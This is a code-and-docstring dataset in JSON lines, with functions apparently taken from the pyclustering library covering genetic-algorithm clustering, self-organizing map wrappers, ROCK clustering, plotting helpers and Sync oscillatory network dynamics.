{"signature": "@staticmethod<EOL><INDENT>def _crossover(chromosomes):<DEDENT>", "body": "<EOL>pairs_to_crossover = np.array(range(len(chromosomes)))<EOL>np.random.shuffle(pairs_to_crossover)<EOL>offset_in_pair = int(len(pairs_to_crossover) / <NUM_LIT:2>)<EOL>for _idx in range(offset_in_pair):<EOL><INDENT>crossover_mask = genetic_algorithm._get_crossover_mask(len(chromosomes[_idx]))<EOL>genetic_algorithm._crossover_a_pair(chromosomes[pairs_to_crossover[_idx]],<EOL>chromosomes[pairs_to_crossover[_idx + offset_in_pair]],<EOL>crossover_mask)<EOL><DEDENT>", "docstring": "!\n        @brief Crossover procedure.", "id": "f15596:c2:m5"}
{"signature": "@staticmethod<EOL><INDENT>def _mutation(chromosomes, count_clusters, count_gen_for_mutation, coeff_mutation_count):<DEDENT>", "body": "<EOL>count_gens = len(chromosomes[<NUM_LIT:0>])<EOL>random_idx_chromosomes = np.array(range(len(chromosomes)))<EOL>np.random.shuffle(random_idx_chromosomes)<EOL>for _idx_chromosome in range(int(len(random_idx_chromosomes) * coeff_mutation_count)):<EOL><INDENT>for _ in range(count_gen_for_mutation):<EOL><INDENT>gen_num = np.random.randint(count_gens)<EOL>chromosomes[random_idx_chromosomes[_idx_chromosome]][gen_num] = np.random.randint(count_clusters)<EOL><DEDENT><DEDENT>", "docstring": "!\n        @brief Mutation procedure.", "id": "f15596:c2:m6"}
{"signature": "@staticmethod<EOL><INDENT>def _crossover_a_pair(chromosome_1, chromosome_2, mask):<DEDENT>", "body": "for _idx in range(len(chromosome_1)):<EOL><INDENT>if mask[_idx] == <NUM_LIT:1>:<EOL><INDENT>chromosome_1[_idx], chromosome_2[_idx] = chromosome_2[_idx], chromosome_1[_idx]<EOL><DEDENT><DEDENT>", "docstring": "!\n        @brief Crossovers a pair of chromosomes.\n\n        @param[in] chromosome_1 (numpy.array): The first chromosome for crossover.\n        @param[in] chromosome_2 (numpy.array): The second chromosome for crossover.\n        @param[in] mask (numpy.array): Crossover mask that defines which genes should be swapped.", "id": "f15596:c2:m7"}
{"signature": "@staticmethod<EOL><INDENT>def _get_crossover_mask(mask_length):<DEDENT>", "body": "<EOL>mask = np.zeros(mask_length)<EOL>mask[:int(int(mask_length) / <NUM_LIT:2>)] = <NUM_LIT:1><EOL>np.random.shuffle(mask)<EOL>return mask<EOL>", "docstring": "!\n        @brief Crossover mask to crossover a pair of chromosomes.\n\n        @param[in] mask_length (uint): Length of the mask.", "id": "f15596:c2:m8"}
{"signature": "@staticmethod<EOL><INDENT>def _init_population(count_clusters, count_data, chromosome_count):<DEDENT>", "body": "population = np.random.randint(count_clusters, size=(chromosome_count, count_data))<EOL>return population<EOL>", "docstring": "!\n        @brief Returns first population as a uniform random choice.\n\n        @param[in] count_clusters (uint): Amount of clusters that should be allocated.\n        @param[in] count_data (uint): Data size that is used for clustering process.\n        @param[in] chromosome_count (uint):Amount of chromosome that is used for clustering.", "id": "f15596:c2:m9"}
{"signature": "@staticmethod<EOL><INDENT>def _get_best_chromosome(chromosomes, data, count_clusters):<DEDENT>", "body": "<EOL>centres = ga_math.get_centres(chromosomes, data, count_clusters)<EOL>fitness_functions = genetic_algorithm._calc_fitness_function(centres, data, chromosomes)<EOL>best_chromosome_idx = fitness_functions.argmin()<EOL>return chromosomes[best_chromosome_idx], fitness_functions[best_chromosome_idx], fitness_functions<EOL>", "docstring": "!\n        @brief Returns the current best chromosome.\n\n        @param[in] chromosomes (list): Chromosomes that are used for searching.\n        @param[in] data (list): Input data that is used for clustering process.\n        @param[in] count_clusters (uint): Amount of clusters that should be allocated.\n\n        @return (list, float, list) The best chromosome, its fitness function value and fitness function values for\n                 all chromosomes.", "id": "f15596:c2:m10"}
{"signature": "@staticmethod<EOL><INDENT>def _calc_fitness_function(centres, data, chromosomes):<DEDENT>", "body": "<EOL>count_chromosome = len(chromosomes)<EOL>fitness_function = np.zeros(count_chromosome)<EOL>for _idx_chromosome in range(count_chromosome):<EOL><INDENT>centres_data = np.zeros(data.shape)<EOL>for _idx in range(len(data)):<EOL><INDENT>centres_data[_idx] = centres[_idx_chromosome][chromosomes[_idx_chromosome][_idx]]<EOL><DEDENT>fitness_function[_idx_chromosome] += np.sum(abs(data - centres_data))<EOL><DEDENT>return fitness_function<EOL>", "docstring": "!\n        @brief Calculate fitness function values for chromosomes.\n\n        @param[in] centres (list): Cluster centers.\n        @param[in] data (list): Input data that is used for clustering process.\n        @param[in] chromosomes (list): Chromosomes whose fitness function's values are calculated.\n\n        @return (list) Fitness function value for each chromosome correspondingly.", "id": "f15596:c2:m11"}
{"signature": "def som_create(rows, cols, conn_type, parameters):", "body": "ccore = ccore_library.get()<EOL>c_params = c_som_parameters()<EOL>c_params.init_type = parameters.init_type<EOL>c_params.init_radius = parameters.init_radius<EOL>c_params.init_learn_rate = parameters.init_learn_rate<EOL>c_params.adaptation_threshold = parameters.adaptation_threshold<EOL>ccore.som_create.restype = POINTER(c_void_p)<EOL>som_pointer = ccore.som_create(c_uint(rows), c_uint(cols), c_uint(conn_type), pointer(c_params))<EOL>return som_pointer<EOL>", "docstring": "!\n    @brief Create of self-organized map using CCORE pyclustering library.\n\n    @param[in] rows (uint): Number of neurons in the column (number of rows).\n    @param[in] cols (uint): Number of neurons in the row (number of columns).\n    @param[in] conn_type (type_conn): Type of connection between oscillators in the network (grid four, grid eight, honeycomb, function neighbour).\n    @param[in] parameters (som_parameters): Other specific parameters.\n\n    @return (POINTER) C-pointer to object of self-organized feature in memory.", "id": "f15597:m0"}
{"signature": "def som_load(som_pointer, weights, award, capture_objects):", "body": "if len(weights) == <NUM_LIT:0>:<EOL><INDENT>return<EOL><DEDENT>ccore = ccore_library.get()<EOL>package_weights = package_builder(weights, c_double).create()<EOL>package_award = package_builder(award, c_size_t).create()<EOL>package_capture_objects = package_builder(capture_objects, c_size_t).create()<EOL>ccore.som_load(som_pointer, package_weights, package_award, package_capture_objects)<EOL>", "docstring": "!\n    @brief Load dump of the network to SOM.\n    @details Initialize SOM using existed weights, amount of captured objects by each neuron, captured\n              objects by each neuron. Initialization is not performed if weights are empty.\n\n    @param[in] som_pointer (POINTER): pointer to object of self-organized map.\n    @param[in] weights (list): weights that should assigned to neurons.\n    @param[in] awards (list): amount of captured objects by each neuron.\n    @param[in] capture_objects (list): captured objects by each neuron.", "id": "f15597:m1"}
{"signature": "def som_destroy(som_pointer):", "body": "ccore = ccore_library.get()<EOL>ccore.som_destroy(som_pointer)<EOL>", "docstring": "!\n    @brief Destroys self-organized map.\n\n    @param[in] som_pointer (POINTER): pointer to object of self-organized map.", "id": "f15597:m2"}
{"signature": "def som_train(som_pointer, data, epochs, autostop):", "body": "pointer_data = package_builder(data, c_double).create()<EOL>ccore = ccore_library.get()<EOL>ccore.som_train.restype = c_size_t<EOL>return ccore.som_train(som_pointer, pointer_data, c_uint(epochs), autostop)<EOL>", "docstring": "!\n    @brief Trains self-organized feature map (SOM) using CCORE pyclustering library.\n\n    @param[in] data (list): Input data - list of points where each point is represented by list of features, for example coordinates.\n    @param[in] epochs (uint): Number of epochs for training.        \n    @param[in] autostop (bool): Automatic termination of learining process when adaptation is not occurred.\n\n    @return (uint) Number of learining iterations.", "id": "f15597:m3"}
{"signature": "def som_simulate(som_pointer, pattern):", "body": "pointer_data = package_builder(pattern, c_double).create()<EOL>ccore = ccore_library.get()<EOL>ccore.som_simulate.restype = c_size_t<EOL>return ccore.som_simulate(som_pointer, pointer_data)<EOL>", "docstring": "!\n    @brief Processes input pattern (no learining) and returns index of neuron-winner.\n    @details Using index of neuron winner catched object can be obtained using property capture_objects.\n\n    @param[in] som_pointer (c_pointer): pointer to object of self-organized map.\n    @param[in] pattern (list): input pattern.\n\n    @return Returns index of neuron-winner.", "id": "f15597:m4"}
{"signature": "def som_get_winner_number(som_pointer):", "body": "ccore = ccore_library.get()<EOL>ccore.som_get_winner_number.restype = c_size_t<EOL>return ccore.som_get_winner_number(som_pointer)<EOL>", "docstring": "!\n    @brief Returns of number of winner at the last step of learning process.\n\n    @param[in] som_pointer (c_pointer): pointer to object of self-organized map.", "id": "f15597:m5"}
{"signature": "def som_get_size(som_pointer):", "body": "ccore = ccore_library.get()<EOL>ccore.som_get_size.restype = c_size_t<EOL>return ccore.som_get_size(som_pointer)<EOL>", "docstring": "!\n    @brief Returns size of self-organized map (number of neurons).\n\n    @param[in] som_pointer (c_pointer): pointer to object of self-organized map.", "id": "f15597:m6"}
{"signature": "def som_get_capture_objects(som_pointer):", "body": "ccore = ccore_library.get()<EOL>ccore.som_get_capture_objects.restype = POINTER(pyclustering_package)<EOL>package = ccore.som_get_capture_objects(som_pointer)<EOL>result = package_extractor(package).extract()<EOL>return result<EOL>", "docstring": "!\n    @brief Returns list of indexes of captured objects by each neuron.\n\n    @param[in] som_pointer (c_pointer): pointer to object of self-organized map.", "id": "f15597:m7"}
{"signature": "def som_get_weights(som_pointer):", "body": "ccore = ccore_library.get()<EOL>ccore.som_get_weights.restype = POINTER(pyclustering_package)<EOL>package = ccore.som_get_weights(som_pointer)<EOL>result = package_extractor(package).extract()<EOL>return result<EOL>", "docstring": "!\n    @brief Returns list of weights of each neuron.\n\n    @param[in] som_pointer (c_pointer): pointer to object of self-organized map.", "id": "f15597:m8"}
{"signature": "def som_get_awards(som_pointer):", "body": "ccore = ccore_library.get()<EOL>ccore.som_get_awards.restype = POINTER(pyclustering_package)<EOL>package = ccore.som_get_awards(som_pointer)<EOL>result = package_extractor(package).extract()<EOL>return result<EOL>", "docstring": "!\n    @brief Returns list of amount of captured objects by each neuron.\n\n    @param[in] som_pointer (c_pointer): pointer to object of self-organized map.", "id": "f15597:m9"}
{"signature": "def som_get_neighbors(som_pointer):", "body": "ccore = ccore_library.get()<EOL>ccore.som_get_neighbors.restype = POINTER(pyclustering_package)<EOL>package = ccore.som_get_neighbors(som_pointer)<EOL>result = package_extractor(package).extract()<EOL>return result<EOL>", "docstring": "!\n    @brief Returns list of indexes of neighbors of each neuron.\n\n    @param[in] som_pointer (c_pointer): pointer to object of self-organized map.", "id": "f15597:m10"}
{"signature": "@staticmethod<EOL><INDENT>def get_ctype(pyclustering_package_type):<DEDENT>", "body": "return pyclustering_type_data.__PYCLUSTERING_CTYPE_MAP[pyclustering_package_type]<EOL>", "docstring": "!\n        @return (ctype) Return ctype that corresponds to pyclustering type data.", "id": "f15609:c1:m0"}
{"signature": "@staticmethod<EOL><INDENT>def get_pyclustering_type(data_ctype):<DEDENT>", "body": "return pyclustering_type_data.__CTYPE_PYCLUSTERING_MAP[data_ctype]<EOL>", "docstring": "!\n        @return (unit) Return pyclustering data type that corresponds to ctype.", "id": "f15609:c1:m1"}
{"signature": "def __init__(self, dataset, c_data_type):", "body": "self.__dataset = dataset<EOL>self.__c_data_type = c_data_type<EOL>", "docstring": "!\n        @brief Initialize package builder object by dataset.\n\n        @param[in] dataset (list): Data that should be packed in 'pyclustering_package'.\n        @param[in] c_data_type (ctype.type): If specified than specified data type is used for data storing in package.", "id": "f15609:c2:m0"}
{"signature": "def create(self):", "body": "return self.__create_package(self.__dataset)<EOL>", "docstring": "!\n        @brief Performs packing procedure of the data to the package.\n\n        @return (pointer) ctype-pointer to pyclustering package.", "id": "f15609:c2:m1"}
{"signature": "def __init__(self, package_pointer):", "body": "self.__package_pointer = package_pointer<EOL>", "docstring": "!\n        @brief Initialize package extractor object by ctype-pointer to 'pyclustering_package'.\n\n        @param[in] package_pointer (pointer): ctype-pointer to 'pyclustering_package' that should be used for unpacking.", "id": "f15609:c3:m0"}
{"signature": "def extract(self):", "body": "return self.__extract_data(self.__package_pointer)<EOL>", "docstring": "!\n        @brief Performs unpacking procedure of the pyclustering package to the data.\n\n        @return (list) Extracted data from the pyclustering package.", "id": "f15609:c3:m1"}
{"signature": "def rock(sample, eps, number_clusters, threshold):", "body": "pointer_data = package_builder(sample, c_double).create();<EOL>ccore = ccore_library.get();<EOL>ccore.rock_algorithm.restype = POINTER(pyclustering_package);<EOL>package = ccore.rock_algorithm(pointer_data, c_double(eps), c_size_t(number_clusters), c_double(threshold));<EOL>list_of_clusters = package_extractor(package).extract();<EOL>ccore.free_pyclustering_package(package);<EOL>return list_of_clusters<EOL>", "docstring": "@brief Clustering algorithm ROCK returns allocated clusters and noise that are consisted from input data. \n@details Calculation is performed via CCORE (C/C++ part of the pyclustering).\"\n\n@param[in] sample: input data - list of points where each point is represented by list of coordinates.\n@param[in] eps: connectivity radius (similarity threshold), points are neighbors if distance between them is less than connectivity radius.\n@param[in] number_clusters: defines number of clusters that should be allocated from the input data set.\n@param[in] threshold: value that defines degree of normalization that influences on choice of clusters for merging during processing.\n\n@return List of allocated clusters, each cluster contains indexes of objects in list of data.", "id": "f15628:m0"}
{"signature": "def __init__(self, x_title=None, y_title=None, x_lim=None, y_lim=None, x_labels=True, y_labels=True):", "body": "<EOL>self.x_title  = x_title;<EOL>self.y_title  = y_title;<EOL>self.x_lim    = x_lim;<EOL>self.y_lim    = y_lim;<EOL>self.x_labels = x_labels;<EOL>self.y_labels = y_labels<EOL>", "docstring": "!\n        @brief Constructor of canvas.\n\n        @param[in] x_title (string): Title for X axis, if 'None', then nothing is displayed.\n        @param[in] y_title (string): Title for Y axis, if 'None', then nothing is displayed.\n        @param[in] x_lim (list): Defines borders of X axis like [from, to], for example [0, 3.14], if 'None' then\n                    borders are calculated automatically.\n        @param[in] y_lim (list): Defines borders of Y axis like [from, to], if 'None' then borders are calculated\n                    automatically.\n        @param[in] x_labels (bool): If True then labels of X axis are displayed.\n        @param[in] y_labels (bool): If True then labels of Y axis are displayed.", "id": "f15629:c0:m0"}
{"signature": "def __init__(self, canvas, time, dynamics, separate, color):", "body": "<EOL>self.canvas     = canvas;<EOL>self.time       = time;<EOL>self.dynamics   = dynamics;<EOL>self.separate   = self.__get_canonical_separate(separate);<EOL>self.color      = color<EOL>", "docstring": "!\n        @brief Constructor of output dynamic descriptor.\n\n        @param[in] canvas (uint): Index of canvas where dynamic should be displayed, in case of 'separate'\n                    representation this argument is considered as a first canvas from that displaying should be done.\n        @param[in] time (list): Time points that are considered as a X axis.\n        @param[in] dynamics (list): Dynamic or dynamics that should be displayed.\n        @param[in] separate (bool|list): If 'True' then each dynamic is displayed on separate canvas, if it is defined\n                    by list, for example, [ [1, 2], [3, 4] ], then the first and the second dynamics are displayed on\n                    the canvas with index 'canvas' and the third and forth are displayed on the next 'canvas + 1'\n                    canvas.\n        @param[in] color (string): Color that is used to display output dynamic(s).", "id": "f15629:c1:m0"}
{"signature": "def get_axis_index(self, index_dynamic):", "body": "return self.separate[index_dynamic]<EOL>", "docstring": "!\n        @brief Returns index of canvas where specified dynamic (by index 'index_dynamic') should be displayed.\n\n        @param[in] index_dynamic (uint): Index of dynamic that should be displayed.\n\n        @return (uint) Index of canvas.", "id": "f15629:c1:m1"}
{"signature": "def __get_canonical_separate(self, input_separate):", "body": "if (isinstance(input_separate, list)):<EOL><INDENT>separate = [<NUM_LIT:0>] * len(self.dynamics[<NUM_LIT:0>]);<EOL>for canvas_index in range(len(input_separate)):<EOL><INDENT>dynamic_indexes = input_separate[canvas_index];<EOL>for dynamic_index in dynamic_indexes:<EOL><INDENT>separate[dynamic_index] = canvas_index;<EOL><DEDENT><DEDENT>return separate;<EOL><DEDENT>elif (input_separate is False):<EOL><INDENT>if (isinstance(self.dynamics[<NUM_LIT:0>], list) is True):<EOL><INDENT>return [ self.canvas ] * len(self.dynamics[<NUM_LIT:0>]);<EOL><DEDENT>else:<EOL><INDENT>return [ self.canvas ];<EOL><DEDENT><DEDENT>elif (input_separate is True):<EOL><INDENT>if (isinstance(self.dynamics[<NUM_LIT:0>], list) is True):<EOL><INDENT>return range(self.canvas, self.canvas + len(self.dynamics[<NUM_LIT:0>]));<EOL><DEDENT>else:<EOL><INDENT>return [ self.canvas ];<EOL><DEDENT><DEDENT>else:<EOL><INDENT>raise Exception(\"<STR_LIT>\" % type(input_separate));<EOL><DEDENT>", "docstring": "!\n        @brief Return unified representation of separation value.\n        @details It represents list whose size is equal to amount of dynamics, where index of dynamic will show\n                  where it should be displayed.\n\n        @param[in] input_separate (bool|list): Input separate representation that should transformed.\n\n        @return (list) Indexes where each dynamic should be displayed.", "id": "f15629:c1:m2"}
{"signature": "def __init__(self, canvas, x_title=None, y_title=None, x_lim=None, y_lim=None, x_labels=True, y_labels=True):", "body": "self.__size = canvas;<EOL>self.__canvases = [ canvas_descr(x_title, y_title, x_lim, y_lim, x_labels, y_labels) for _ in range(canvas) ];<EOL>self.__dynamic_storage = []<EOL>", "docstring": "!\n        @brief Construct dynamic visualizer.\n        @details Default properties that are generalized in the constructor, for example, X axis title, can be\n                  changed by corresponding method: 'set_canvas_properties'.\n\n        @param[in] canvas (uint): Amount of canvases that is used for visualization.\n        @param[in] x_title (string): Title for X axis of canvases, if 'None', then nothing is displayed.\n        @param[in] y_title (string): Title for Y axis of canvases, if 'None', then nothing is displayed.\n        @param[in] x_lim (list): Defines borders of X axis like [from, to], for example [0, 3.14], if 'None' then\n                    borders are calculated automatically.\n        @param[in] y_lim (list): Defines borders of Y axis like [from, to], if 'None' then borders are calculated\n                    automatically.\n        @param[in] x_labels (bool): If True then labels of X axis are displayed.\n        @param[in] y_labels (bool): If True then labels of Y axis are displayed.", "id": "f15629:c2:m0"}
{"signature": "def set_canvas_properties(self, canvas, x_title=None, y_title=None, x_lim=None, y_lim=None, x_labels=True, y_labels=True):", "body": "self.__canvases[canvas] = canvas_descr(x_title, y_title, x_lim, y_lim, x_labels, y_labels)<EOL>", "docstring": "!\n        @brief Set properties for specified canvas.\n\n        @param[in] canvas (uint): Index of canvas whose properties should changed.\n        @param[in] x_title (string): Title for X axis, if 'None', then nothing is displayed.\n        @param[in] y_title (string): Title for Y axis, if 'None', then nothing is displayed.\n        @param[in] x_lim (list): Defines borders of X axis like [from, to], for example [0, 3.14], if 'None' then\n                    borders are calculated automatically.\n        @param[in] y_lim (list): Defines borders of Y axis like [from, to], if 'None' then borders are calculated\n                    automatically.\n        @param[in] x_labels (bool): If True then labels of X axis are displayed.\n        @param[in] y_labels (bool): If True then labels of Y axis are displayed.", "id": "f15629:c2:m1"}
{"signature": "def append_dynamic(self, t, dynamic, canvas=<NUM_LIT:0>, color='<STR_LIT>'):", "body": "description = dynamic_descr(canvas, t, dynamic, False, color);<EOL>self.__dynamic_storage.append(description);<EOL>self.__update_canvas_xlim(description.time, description.separate)<EOL>", "docstring": "!\n        @brief Append single dynamic to specified canvas (by default to the first with index '0').\n\n        @param[in] t (list): Time points that corresponds to dynamic values and considered on a X axis.\n        @param[in] dynamic (list): Value points of dynamic that are considered on an Y axis.\n        @param[in] canvas (uint): Canvas where dynamic should be displayed.\n        @param[in] color (string): Color that is used for drawing dynamic on the canvas.", "id": "f15629:c2:m2"}
{"signature": "def append_dynamics(self, t, dynamics, canvas=<NUM_LIT:0>, separate=False, color='<STR_LIT>'):", "body": "description = dynamic_descr(canvas, t, dynamics, separate, color);<EOL>self.__dynamic_storage.append(description);<EOL>self.__update_canvas_xlim(description.time, description.separate)<EOL>", "docstring": "!\n        @brief Append several dynamics to canvas or canvases (defined by 'canvas' and 'separate' arguments).\n\n        @param[in] t (list): Time points that corresponds to dynamic values and considered on a X axis.\n        @param[in] dynamics (list): Dynamics where each of them is considered on Y axis.\n        @param[in] canvas (uint): Index of canvas where dynamic should be displayed, in case of 'separate'\n                    representation this argument is considered as a first canvas from that displaying should be done.\n        @param[in] separate (bool|list): If 'True' then each dynamic is displayed on separate canvas, if it is defined\n                    by list, for example, [ [1, 2], [3, 4] ], then the first and the second dynamics are displayed on\n                    the canvas with index 'canvas' and the third and forth are displayed on the next 'canvas + 1'\n                    canvas.\n        @param[in] color (string): Color that is used to display output dynamic(s).", "id": "f15629:c2:m3"}
{"signature": "def show(self, axis=None, display=True):", "body": "if (not axis):<EOL><INDENT>(_, axis) = plt.subplots(self.__size, <NUM_LIT:1>);<EOL><DEDENT>self.__format_canvases(axis);<EOL>for dynamic in self.__dynamic_storage:<EOL><INDENT>self.__display_dynamic(axis, dynamic);<EOL><DEDENT>if (display):<EOL><INDENT>plt.show();<EOL><DEDENT>", "docstring": "!\n        @brief Draw and show output dynamics.\n\n        @param[in] axis (axis): If is not 'None' then user specified axis is used to display output dynamic.\n        @param[in] display (bool): Whether output dynamic should be displayed or not, if not, then user\n                    should call 'plt.show()' by himself.", "id": "f15629:c2:m4"}
{"signature": "@staticmethod<EOL><INDENT>def calculate_sync_order(oscillator_phases):<DEDENT>", "body": "exp_amount = <NUM_LIT:0.0>;<EOL>average_phase = <NUM_LIT:0.0>;<EOL>for phase in oscillator_phases:<EOL><INDENT>exp_amount += math.expm1( abs(<NUM_LIT> * phase) );<EOL>average_phase += phase;<EOL><DEDENT>exp_amount /= len(oscillator_phases);<EOL>average_phase = math.expm1( abs(<NUM_LIT> * (average_phase / len(oscillator_phases))) );<EOL>return abs(average_phase) / abs(exp_amount)<EOL>", "docstring": "!\n        @brief Calculates level of global synchronization (order parameter) for input phases.\n        @details This parameter is tend 1.0 when the oscillatory network close to global synchronization and it tend to 0.0 when \n                  desynchronization is observed in the network.\n\n        @param[in] oscillator_phases (list): List of oscillator phases that are used for level of global synchronization.\n\n        @return (double) Level of global synchronization (order parameter).\n\n        @see calculate_order_parameter()", "id": "f15630:c0:m0"}
{"signature": "@staticmethod<EOL><INDENT>def calculate_local_sync_order(oscillator_phases, oscillatory_network):<DEDENT>", "body": "exp_amount = <NUM_LIT:0.0>;<EOL>num_neigh = <NUM_LIT:0.0>;<EOL>for i in range(<NUM_LIT:0>, len(oscillatory_network), <NUM_LIT:1>):<EOL><INDENT>for j in range(<NUM_LIT:0>, len(oscillatory_network), <NUM_LIT:1>):<EOL><INDENT>if (oscillatory_network.has_connection(i, j) == True):<EOL><INDENT>exp_amount += math.exp(-abs(oscillator_phases[j] - oscillator_phases[i]));<EOL>num_neigh += <NUM_LIT:1.0>;<EOL><DEDENT><DEDENT><DEDENT>if (num_neigh == <NUM_LIT:0>):<EOL><INDENT>num_neigh = <NUM_LIT:1.0>;<EOL><DEDENT>return exp_amount / num_neigh<EOL>", "docstring": "!\n        @brief Calculates level of local synchorization (local order parameter) for input phases for the specified network.\n        @details This parameter is tend 1.0 when the oscillatory network close to local synchronization and it tend to 0.0 when \n                  desynchronization is observed in the network.\n\n        @param[in] oscillator_phases (list): List of oscillator phases that are used for level of local (partial) synchronization.\n        @param[in] oscillatory_network (sync): Instance of oscillatory network whose connections are required for calculation.\n\n        @return (double) Level of local synchronization (local order parameter).", "id": "f15630:c0:m1"}
{"signature": "@property<EOL><INDENT>def output(self):<DEDENT>", "body": "if ( (self._ccore_sync_dynamic_pointer is not None) and ( (self._dynamic is None) or (len(self._dynamic) == <NUM_LIT:0>) ) ):<EOL><INDENT>self._dynamic = wrapper.sync_dynamic_get_output(self._ccore_sync_dynamic_pointer);<EOL><DEDENT>return self._dynamic<EOL>", "docstring": "!\n        @brief (list) Returns output dynamic of the Sync network (phase coordinates of each oscillator in the network) during simulation.", "id": "f15630:c1:m0"}
{"signature": "@property<EOL><INDENT>def time(self):<DEDENT>", "body": "if ( (self._ccore_sync_dynamic_pointer is not None) and ( (self._time is None) or (len(self._time) == <NUM_LIT:0>) ) ):<EOL><INDENT>self._time = wrapper.sync_dynamic_get_time(self._ccore_sync_dynamic_pointer);<EOL><DEDENT>return self._time<EOL>", "docstring": "!\n        @brief (list) Returns sampling times when dynamic is measured during simulation.", "id": "f15630:c1:m1"}
{"signature": "def __init__(self, phase, time, ccore = None):", "body": "self._dynamic = phase;<EOL>self._time = time;<EOL>self._ccore_sync_dynamic_pointer = ccore<EOL>", "docstring": "!\n        @brief Constructor of Sync dynamic.\n\n        @param[in] phase (list): Dynamic of oscillators on each step of simulation. If ccore pointer is specified than it can be ignored.\n        @param[in] time (list): Simulation time.\n        @param[in] ccore (ctypes.pointer): Pointer to CCORE sync_dynamic instance in memory.", "id": "f15630:c1:m2"}
{"signature": "def __del__(self):", "body": "if (self._ccore_sync_dynamic_pointer is not None):<EOL><INDENT>wrapper.sync_dynamic_destroy(self._ccore_sync_dynamic_pointer);<EOL><DEDENT>", "docstring": "!\n        @brief Default destructor of Sync dynamic.", "id": "f15630:c1:m3"}
{"signature": "def __len__(self):", "body": "if (self._ccore_sync_dynamic_pointer is not None):<EOL><INDENT>return wrapper.sync_dynamic_get_size(self._ccore_sync_dynamic_pointer);<EOL><DEDENT>return len(self._dynamic)<EOL>", "docstring": "!\n        @brief Returns number of simulation steps that are stored in dynamic.\n        @return (uint) Number of simulation steps that are stored in dynamic.", "id": "f15630:c1:m4"}
{"signature": "def __getitem__(self, index):", "body": "if (index is <NUM_LIT:0>):<EOL><INDENT>return self.time;<EOL><DEDENT>elif (index is <NUM_LIT:1>):<EOL><INDENT>return self.output;<EOL><DEDENT>else:<EOL><INDENT>raise NameError('<STR_LIT>' + index + '<STR_LIT>');<EOL><DEDENT>", "docstring": "!\n        @brief Indexing of the dynamic.", "id": "f15630:c1:m5"}
{"signature": "def allocate_sync_ensembles(self, tolerance = <NUM_LIT>, indexes = None, iteration = None):", "body": "if (self._ccore_sync_dynamic_pointer is not None):<EOL><INDENT>ensembles = wrapper.sync_dynamic_allocate_sync_ensembles(self._ccore_sync_dynamic_pointer, tolerance, iteration);<EOL>if (indexes is not None):<EOL><INDENT>for ensemble in ensembles:<EOL><INDENT>for index in range(len(ensemble)):<EOL><INDENT>ensemble[index] = indexes[ ensemble[index] ];<EOL><DEDENT><DEDENT><DEDENT>return ensembles;<EOL><DEDENT>if ( (self._dynamic is None) or (len(self._dynamic) == <NUM_LIT:0>) ):<EOL><INDENT>return [];<EOL><DEDENT>number_oscillators = len(self._dynamic[<NUM_LIT:0>]);<EOL>last_state = None;<EOL>if (iteration is None):<EOL><INDENT>last_state = self._dynamic[len(self._dynamic) - <NUM_LIT:1>];<EOL><DEDENT>else:<EOL><INDENT>last_state = self._dynamic[iteration];<EOL><DEDENT>clusters = [];<EOL>if (number_oscillators > <NUM_LIT:0>):<EOL><INDENT>clusters.append([<NUM_LIT:0>]);<EOL><DEDENT>for i in range(<NUM_LIT:1>, number_oscillators, <NUM_LIT:1>):<EOL><INDENT>cluster_allocated = False;<EOL>for cluster in clusters:<EOL><INDENT>for neuron_index in cluster:<EOL><INDENT>last_state_shifted = abs(last_state[i] - <NUM_LIT:2> * pi);<EOL>if ( ( (last_state[i] < (last_state[neuron_index] + tolerance)) and (last_state[i] > (last_state[neuron_index] - tolerance)) ) or<EOL>( (last_state_shifted < (last_state[neuron_index] + tolerance)) and (last_state_shifted > (last_state[neuron_index] - tolerance)) ) ):<EOL><INDENT>cluster_allocated = True;<EOL>real_index = i;<EOL>if (indexes is not None):<EOL><INDENT>real_index = indexes[i];<EOL><DEDENT>cluster.append(real_index);<EOL>break;<EOL><DEDENT><DEDENT>if (cluster_allocated == True):<EOL><INDENT>break;<EOL><DEDENT><DEDENT>if (cluster_allocated == False):<EOL><INDENT>clusters.append([i]);<EOL><DEDENT><DEDENT>return clusters<EOL>", "docstring": "!\n        @brief Allocate clusters in line with ensembles of synchronous oscillators where each synchronous ensemble corresponds to only one cluster.\n\n        @param[in] tolerance (double): Maximum error for allocation of synchronous ensemble oscillators.\n        @param[in] indexes (list): List of real object indexes and it should be equal to amount of oscillators (in case of 'None' - indexes are in range [0; amount_oscillators]).\n        @param[in] iteration (uint): Iteration of simulation that should be used for allocation.\n\n        @return (list) Grours (lists) of indexes of synchronous oscillators.\n                For example [ [index_osc1, index_osc3], [index_osc2], [index_osc4, index_osc5] ].", "id": "f15630:c1:m6"}
{"signature": "def allocate_phase_matrix(self, grid_width = None, grid_height = None, iteration = None):", "body": "output_dynamic = self.output;<EOL>if ( (output_dynamic is None) or (len(output_dynamic) == <NUM_LIT:0>) ):<EOL><INDENT>return [];<EOL><DEDENT>current_dynamic = output_dynamic[len(output_dynamic) - <NUM_LIT:1>];<EOL>if (iteration is not None):<EOL><INDENT>current_dynamic = output_dynamic[iteration];<EOL><DEDENT>width_matrix = grid_width;<EOL>height_matrix = grid_height;<EOL>number_oscillators = len(current_dynamic);<EOL>if ( (width_matrix is None) or (height_matrix is None) ):<EOL><INDENT>width_matrix = int(math.ceil(math.sqrt(number_oscillators)));<EOL>height_matrix = width_matrix;<EOL><DEDENT>if (number_oscillators != width_matrix * height_matrix):<EOL><INDENT>raise NameError(\"<STR_LIT>\");<EOL><DEDENT>phase_matrix = [ [ <NUM_LIT:0.0> for i in range(width_matrix) ] for j in range(height_matrix) ];<EOL>for i in range(height_matrix):<EOL><INDENT>for j in range(width_matrix):<EOL><INDENT>phase_matrix[i][j] = current_dynamic[j + i * width_matrix];<EOL><DEDENT><DEDENT>return phase_matrix<EOL>", "docstring": "!\n        @brief Returns 2D matrix of phase values of oscillators at the specified iteration of simulation.\n        @details User should ensure correct matrix sizes in line with following expression grid_width x grid_height that should be equal to \n                  amount of oscillators otherwise exception is thrown. If grid_width or grid_height are not specified than phase matrix size \n                  will by calculated automatically by square root.\n\n        @param[in] grid_width (uint): Width of the allocated matrix.\n        @param[in] grid_height (uint): Height of the allocated matrix.\n        @param[in] iteration (uint): Number of iteration of simulation for which correlation matrix should be allocated.\n                    If iternation number is not specified, the last step of simulation is used for the matrix allocation.\n\n        @return (list) Phase value matrix of oscillators with size [number_oscillators x number_oscillators].", "id": "f15630:c1:m7"}
